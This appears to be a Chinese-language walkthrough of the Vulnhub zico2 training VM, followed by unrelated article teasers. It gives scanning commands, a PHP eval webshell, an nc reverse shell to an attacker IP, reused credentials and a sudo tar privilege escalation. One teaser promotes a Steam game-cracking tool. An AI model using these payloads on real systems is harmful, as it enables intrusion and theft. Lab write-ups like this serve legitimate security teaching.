Vulnhub-zico2靶机打靶记录

本篇文章旨在为网络安全渗透测试靶机教学。通过阅读本文,读者将能够对渗透Vulnhub系列zico2靶机有一定的了解

一、信息收集阶段

靶机下载地址:https://download.vulnhub.com/zico/zico2.ova


因为靶机为本地部署虚拟机网段,查看dhcp地址池设置。得到信息IP为:192.168.220.0/24

1、扫描网段,发现主机

nmap -sP 192.168.220.0/24
# 快速验证网段存活主机

2、扫描主机详细信息

nmap -sT -sV -sC  192.168.220.132
#-sT 会尝试与目标主机的每个端口建立完整的 TCP 连接
#-sV 尝试确定每个打开端口上运行的服务的版本
#-sC 使用默认的脚本扫描(Script Scanning)可以帮助发现更多的信息,如漏洞、配置错误等

3、扫描80端口web目录

dirb http://192.168.220.132

4、浏览网站

http://192.168.220.132/dbadmin
http://192.168.220.132/dbadmin/test_db.php# 文件包含漏洞
http://192.168.220.132/view.php?page=tools.html

二、渗透阶段

1、搜索phpliteadmin历史漏洞

searchsploite phpliteadmin

2、下载exp文件

searchsploite -m 24044.txtcat 24044.txt

3、使用burp suite爆破

4、登陆sqlitephp数据库管理工具

http://192.168.220.132/dbadmin/test_db.php
password:admin

5、创建“数据库"

poc.php
/usr/databases/poc.php

6、创建一句话木马

<?php @eval($_POST[cmd])?>

7、中国蚁剑连接一句话木马

8、反弹shell到kali攻击机

# kali建立监听
nc -lvnp 4444# 蚁剑连接靶机
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.220.128 4444 >/tmp/f

三、提权阶段

1、查找suid权限

find / -perm -4000 -print 2>/dev/null  #查找SUID 权限的文件

2、查看系统版本内核

uname -a
lsb_release -a

3、查看系统文件

/home/zico/wordpress/wp-config.php
username:zico
passwd:sWfCsfJSPV9H3AmQzw8

4、切换zico用户

su zico
sWfCsfJSPV9H3AmQzw8

5、查看sudo -l

sudo -l

6、再次查找suid权限

find / -perm -4000 -print 2>/dev/null

7、tar提权

 sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

![](https://files.mdnice.com/user/82436/35dc83

相关新闻

10、Linux C 网络编程(完整版)

10、Linux C 网络编程(完整版)

1、网络发展历史和分层 1.1 Internet 的历史 起源&#xff1a; 1957 年&#xff1a;苏联发射第一颗人造卫星 "Sputnik"。 1958 年&#xff1a;美国总统艾森豪威尔成立 DARPA&#xff08;国防部高级研究计划署&#xff09;。 1968 年&#xff1a;DARPA 提出 "…

2026/7/18 20:25:17 阅读更多 →
详解隔离级别(4种),分别用表格展示问题出现的过程及解决办法

详解隔离级别(4种),分别用表格展示问题出现的过程及解决办法

选择隔离级别的时候&#xff0c;既需要考虑数据的一致性&#xff0c;避免脏数据&#xff0c;又要考虑系统性能的问题。下面我们通过商品抢购的场景来讲述这4种隔离级别的区别 未提交读&#xff08;read uncommitted&#xff09; 未提交读是最低的隔离级别&#xff0c;其含义是…

2026/7/17 10:08:39 阅读更多 →
基于mediapipe深度学习和限定半径最近邻分类树算法的人体摔倒检测系统python源码

基于mediapipe深度学习和限定半径最近邻分类树算法的人体摔倒检测系统python源码

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 4.1 Mediapipe人体姿态检测原理 4.2 限定半径最近邻分类树算法原理 5.算法完整程序工程 1.算法运行效果图预览 (完整程序运行后无水印) 2.算法运行软件版本 人工智能算法python程序运行环…

2026/7/19 15:09:30 阅读更多 →
Unity VR开发实战:从环境配置到性能优化的完整指南

Unity VR开发实战:从环境配置到性能优化的完整指南

1. 项目概述&#xff1a;从零到一&#xff0c;构建一个流畅的VR体验最近几年&#xff0c;VR项目在游戏、培训、文旅等领域的应用越来越广&#xff0c;但很多刚入行的开发者&#xff0c;甚至是有经验的Unity工程师&#xff0c;在初次接触VR开发时&#xff0c;都会遇到一个共同的…

2026/7/19 20:10:59 阅读更多 →
VC++ MFC报表打印预览完整实现:从GDI原理到工程实践

VC++ MFC报表打印预览完整实现:从GDI原理到工程实践

1. 项目概述&#xff1a;从零到一构建VC报表打印预览体系在桌面应用开发领域&#xff0c;报表的打印与预览功能是衡量一个软件专业度与用户体验的关键指标。尤其是在金融、医疗、工业控制等对数据呈现有严格要求的行业&#xff0c;一个稳定、高效且所见即所得的打印预览模块&am…

2026/7/19 20:10:59 阅读更多 →
PCA不是降维而是坐标系重铸:工程化落地的12个关键控制点

PCA不是降维而是坐标系重铸:工程化落地的12个关键控制点

1. 这不是数学课&#xff0c;是数据降维的实战指南&#xff1a;为什么你该真正搞懂PCA“Demystifying Principal Component Analysis”——这个标题里藏着一个被严重低估的真相&#xff1a;主成分分析&#xff08;PCA&#xff09;从来就不是统计学课本里那个抽象、冰冷、布满协…

2026/7/19 20:10:59 阅读更多 →
如何高效提取网页媒体资源:开源猫抓浏览器的终极使用秘籍

如何高效提取网页媒体资源:开源猫抓浏览器的终极使用秘籍

如何高效提取网页媒体资源&#xff1a;开源猫抓浏览器的终极使用秘籍 【免费下载链接】cat-catch 猫抓 浏览器资源嗅探扩展 / cat-catch Browser Resource Sniffing Extension 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch 你是否曾为无法保存网页上的精…

2026/7/19 20:10:59 阅读更多 →
ACE_Message_Block核心解析与高性能网络应用实践

ACE_Message_Block核心解析与高性能网络应用实践

1. ACE_Message_Block核心概念解析 ACE_Message_Block是ACE框架中用于高效处理消息数据的核心组件&#xff0c;其设计灵感来源于System V STREAMS的消息数据结构。这个轻量级但功能强大的类在构建高性能网络应用时发挥着关键作用&#xff0c;特别是在消息队列(ACE_Message_Queu…

2026/7/19 20:10:59 阅读更多 →
深入解析嵌入式SoC的PRCM:电源、时钟与复位管理的核心原理与实战

深入解析嵌入式SoC的PRCM:电源、时钟与复位管理的核心原理与实战

1. 项目概述与PRCM核心价值在嵌入式系统&#xff0c;尤其是移动设备和物联网终端的开发中&#xff0c;我们常常面临一个核心矛盾&#xff1a;如何在提供强大计算能力的同时&#xff0c;将功耗控制在极低的水平。十年前&#xff0c;当我第一次接触TI OMAP平台时&#xff0c;面对…

2026/7/19 20:09:58 阅读更多 →
鸿蒙 ArkTS 实战:Emoji Idiom Guess 从表情成语猜谜到交互闭环完整解析

鸿蒙 ArkTS 实战:Emoji Idiom Guess 从表情成语猜谜到交互闭环完整解析

鸿蒙 ArkTS 实战&#xff1a;Emoji Idiom Guess 从表情成语猜谜到交互闭环完整解析 前言 Emoji Idiom Guess 是一个基于鸿蒙 ArkTS 编写的单页互动应用&#xff0c;核心围绕 表情线索、答案输入、首字母提示和收藏关卡 展开。项目没有依赖复杂服务端&#xff0c;也没有把逻辑…

2026/7/19 0:00:03 阅读更多 →
Unity与Python本地通信:基于Flask的跨语言数据交换实战

Unity与Python本地通信:基于Flask的跨语言数据交换实战

1. 项目概述&#xff1a;为什么我们需要一个本地通信服务器&#xff1f;在游戏开发、数字孪生、仿真训练等众多领域&#xff0c;Unity作为强大的实时3D内容创作平台&#xff0c;其核心逻辑通常由C#驱动。然而&#xff0c;当我们需要进行复杂的数据分析、机器学习推理、科学计算…

2026/7/19 0:00:04 阅读更多 →
科研课题设计全流程:从选题到成果落地的实战指南

科研课题设计全流程:从选题到成果落地的实战指南

1. 课题设计全流程解析&#xff1a;从选题到成果落地的实战指南课题设计是科研工作者、高校师生以及企业研发人员日常工作中的核心环节。一个优秀的课题设计不仅决定了研究的方向和质量&#xff0c;更直接影响最终成果的学术价值和应用前景。作为在科研一线摸爬滚打多年的从业者…

2026/7/19 0:00:04 阅读更多 →
鸿蒙 ArkTS 实战:Emoji Idiom Guess 从表情成语猜谜到交互闭环完整解析

鸿蒙 ArkTS 实战:Emoji Idiom Guess 从表情成语猜谜到交互闭环完整解析

鸿蒙 ArkTS 实战&#xff1a;Emoji Idiom Guess 从表情成语猜谜到交互闭环完整解析 前言 Emoji Idiom Guess 是一个基于鸿蒙 ArkTS 编写的单页互动应用&#xff0c;核心围绕 表情线索、答案输入、首字母提示和收藏关卡 展开。项目没有依赖复杂服务端&#xff0c;也没有把逻辑…

2026/7/19 0:00:03 阅读更多 →
Unity与Python本地通信:基于Flask的跨语言数据交换实战

Unity与Python本地通信:基于Flask的跨语言数据交换实战

1. 项目概述&#xff1a;为什么我们需要一个本地通信服务器&#xff1f;在游戏开发、数字孪生、仿真训练等众多领域&#xff0c;Unity作为强大的实时3D内容创作平台&#xff0c;其核心逻辑通常由C#驱动。然而&#xff0c;当我们需要进行复杂的数据分析、机器学习推理、科学计算…

2026/7/19 0:00:04 阅读更多 →
科研课题设计全流程:从选题到成果落地的实战指南

科研课题设计全流程:从选题到成果落地的实战指南

1. 课题设计全流程解析&#xff1a;从选题到成果落地的实战指南课题设计是科研工作者、高校师生以及企业研发人员日常工作中的核心环节。一个优秀的课题设计不仅决定了研究的方向和质量&#xff0c;更直接影响最终成果的学术价值和应用前景。作为在科研一线摸爬滚打多年的从业者…

2026/7/19 0:00:04 阅读更多 →
ai agent框架spring ai/alibaba 源码原理分析(六) agent和组件

ai agent框架spring ai/alibaba 源码原理分析(六) agent和组件

简介 saa是java的ai agent框架&#xff0c;本系列将深入剖析 Spring AI Alibaba 的源码实现与核心原理&#xff0c;不仅可以指导agent的开发&#xff0c;更可以改造框架&#xff0c;增加新特性 系列内容&#xff1a; 系列(一) 架构 完成 系列(三) 调用 I 工具 完成 II M…

2026/7/19 0:01:20 阅读更多 →
终极指南:如何用Steam-auto-crack实现Steam游戏自动破解

终极指南:如何用Steam-auto-crack实现Steam游戏自动破解

终极指南&#xff1a;如何用Steam-auto-crack实现Steam游戏自动破解 【免费下载链接】Steam-auto-crack Steam Game Automatic Cracker 项目地址: https://gitcode.com/gh_mirrors/st/Steam-auto-crack Steam-auto-crack是一款功能强大的Steam游戏自动破解工具&#xff…

2026/7/19 9:10:31 阅读更多 →
移动端游戏功耗测试实战:电流、功率、亮度和场景对比

移动端游戏功耗测试实战:电流、功率、亮度和场景对比

移动端游戏功耗测试:先控制变量,再比较优化是否真的省电 摘要:功耗测试最容易犯的错误,是拿两次不同温度、不同亮度、不同场景的平均功率直接比较。本文给出一套可复现的游戏功耗测试方法,覆盖引擎特性验证、版本回归和黑盒体验测试,并说明如何把功耗与帧率、温控、CPU/G…

2026/7/19 19:29:48 阅读更多 →